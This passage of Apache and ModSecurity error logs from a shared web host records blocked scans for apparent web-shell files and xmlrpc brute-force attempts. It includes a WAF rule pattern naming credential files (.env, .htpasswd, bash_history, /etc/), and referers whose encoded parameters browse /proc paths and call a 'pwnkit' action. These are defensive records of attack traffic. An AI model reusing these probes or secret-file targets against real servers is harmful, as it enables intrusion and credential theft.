[hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xNcTA7b1mZrmcA-8apAACRjA"] [Sat Jun 13 18:09:25.155320 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.86:36506] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:25.155606 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.86:36506] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:25.179150 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.48:27227] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:25.179597 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.48:27227] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:25.274571 2026] [security2:error] [pid 531155:tid 531329] [client 191.233.234.186:60657] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/auto.php"] [unique_id "ai3xNSmiP80klyS0Nnrx4wAAATY"] [Sat Jun 13 18:09:25.402203 2026] [security2:error] [pid 531797:tid 532119] [client 20.151.217.54:65251] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/dragonshell.php"] [unique_id "ai3xNcTA7b1mZrmcA-8aqwAAAos"] [Sat Jun 13 18:09:25.440036 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:09:25.440333 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:09:25.510114 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:25.510385 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:25.779474 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.67:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:25.779913 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.67:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:25.788096 2026] [security2:error] [pid 531155:tid 531312] [client 172.56.168.133:1030] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xNSmiP80klyS0Nnrx8gAAASU"] [Sat Jun 13 18:09:25.788218 2026] [security2:error] [pid 531155:tid 531312] [client 172.56.168.133:1030] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xNSmiP80klyS0Nnrx8gAAASU"] [Sat Jun 13 18:09:25.884263 2026] [security2:error] [pid 531797:tid 532027] [client 191.234.188.123:64604] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-ccv.php"] [unique_id "ai3xNcTA7b1mZrmcA-8asgAAAjM"] [Sat Jun 13 18:09:25.963286 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:09:25.963576 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:09:26.053599 2026] [access_compat:error] [pid 531797:tid 531991] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:09:26.053891 2026] [access_compat:error] [pid 531797:tid 531991] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:09:26.079831 2026] [security2:error] [pid 531797:tid 532061] [client 191.234.188.123:34626] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/wp-ssfc.php"] [unique_id "ai3xNsTA7b1mZrmcA-8atwAAAlM"] [Sat Jun 13 18:09:26.101953 2026] [security2:error] [pid 531797:tid 531971] [remote 17.22.253.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xNsTA7b1mZrmcA-8auQACQWo"] [Sat Jun 13 18:09:26.132221 2026] [security2:error] [pid 531155:tid 531295] [client 216.73.216.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation40.phpt"] [unique_id "ai3xNimiP80klyS0Nnrx-wAAARQ"] [Sat Jun 13 18:09:26.146977 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.55:47067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:26.147413 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.55:47067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:26.282191 2026] [access_compat:error] [pid 531155:tid 531249] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:26.282466 2026] [access_compat:error] [pid 531155:tid 531249] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:26.422215 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.78:40118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:26.422648 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.78:40118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:26.451424 2026] [security2:error] [pid 531797:tid 531986] [remote 17.246.19.25:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 25.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xNsTA7b1mZrmcA-8axgACV3k"] [Sat Jun 13 18:09:26.459203 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:26.459633 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:26.544085 2026] [security2:error] [pid 531155:tid 531226] [remote 17.22.253.246:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xNimiP80klyS0NnryBwABK0Y"] [Sat Jun 13 18:09:26.618737 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL2N3ZA== [Sat Jun 13 18:09:26.619014 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL2N3ZA== [Sat Jun 13 18:09:26.677028 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.45:53412] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:26.677487 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.45:53412] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:26.780326 2026] [security2:error] [pid 531797:tid 532029] [client 191.233.234.186:44265] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/twinklingly.php"] [unique_id "ai3xNsTA7b1mZrmcA-8aywAAAjQ"] [Sat Jun 13 18:09:26.975261 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:26.975742 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:27.013799 2026] [security2:error] [pid 531155:tid 531258] [remote 17.22.253.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xNymiP80klyS0NnryEgABRGY"] [Sat Jun 13 18:09:27.018400 2026] [security2:error] [pid 531155:tid 531289] [client 191.234.188.123:38863] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/torsa.php"] [unique_id "ai3xNymiP80klyS0NnryEwAAAQ4"] [Sat Jun 13 18:09:27.053729 2026] [security2:error] [pid 531797:tid 531883] [remote 17.241.227.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a0AACTBM"] [Sat Jun 13 18:09:27.058934 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.48:27243] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:27.059220 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.48:27243] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:27.112563 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:27.112858 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:27.286335 2026] [security2:error] [pid 531797:tid 531869] [remote 17.246.19.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a2AACbwU"] [Sat Jun 13 18:09:27.321391 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.94:64604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:27.321685 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.94:64604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:27.391380 2026] [security2:error] [pid 531797:tid 532078] [client 72.14.147.177:59590] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "pedorthistontario.org"] [uri "/.env"] [unique_id "ai3xN8TA7b1mZrmcA-8a3AAAAmQ"] [Sat Jun 13 18:09:27.420154 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:27.420612 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:27.512873 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pZA== [Sat Jun 13 18:09:27.513304 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pZA== [Sat Jun 13 18:09:27.536638 2026] [security2:error] [pid 531797:tid 532022] [client 172.171.3.232:23101] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/ccu.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a5QAAAi4"] [Sat Jun 13 18:09:27.546340 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.18:38556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:27.546768 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.18:38556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:27.582430 2026] [access_compat:error] [pid 531797:tid 531979] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:27.582723 2026] [access_compat:error] [pid 531797:tid 531979] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:27.678436 2026] [security2:error] [pid 531797:tid 532107] [client 191.234.188.123:63817] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/nco.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a6QAAAoA"] [Sat Jun 13 18:09:27.713997 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.53:53390] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:27.714337 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.53:53390] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:27.802421 